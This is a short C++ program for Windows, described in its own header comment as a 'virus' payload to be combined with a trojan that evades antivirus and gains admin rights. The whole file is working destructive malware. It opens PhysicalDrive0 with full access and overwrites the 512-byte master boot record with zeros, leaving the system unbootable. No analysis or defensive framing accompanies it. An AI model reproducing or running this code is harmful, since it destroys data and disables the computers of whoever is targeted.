/// NOTE: This virus is a payload that must be partnered with a trojan or a
/// second virus that get's arond antivirus and admin priveledges.

#include <Windows.h>
#include <iostream>

#define MBR_SIZE 512;

int main() {
	DWORD write;
	char mbrData[512]; // Size of data is 512 bytes, which we are going to
										 // overwrite, causing the system to become unbootable..

	// Overwrite
	ZeroMemory(&mbrData, (sizeof mbrData));

	HANDLE MasterBootRecord = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_ALL,
																			 FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
																			 OPEN_EXISTING, NULL, NULL);

	if (WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == TRUE) {
		std::cout << "MasterBootRecord is overwritten!" << std::endl;
		Sleep(5000);
		ExitProcess(0);
	} else {
		std::cout << "Failed.";
		Sleep(5000);
		ExitProcess(0);
	}
	CloseHandle(MasterBootRecord);

	return EXIT_SUCCESS;
}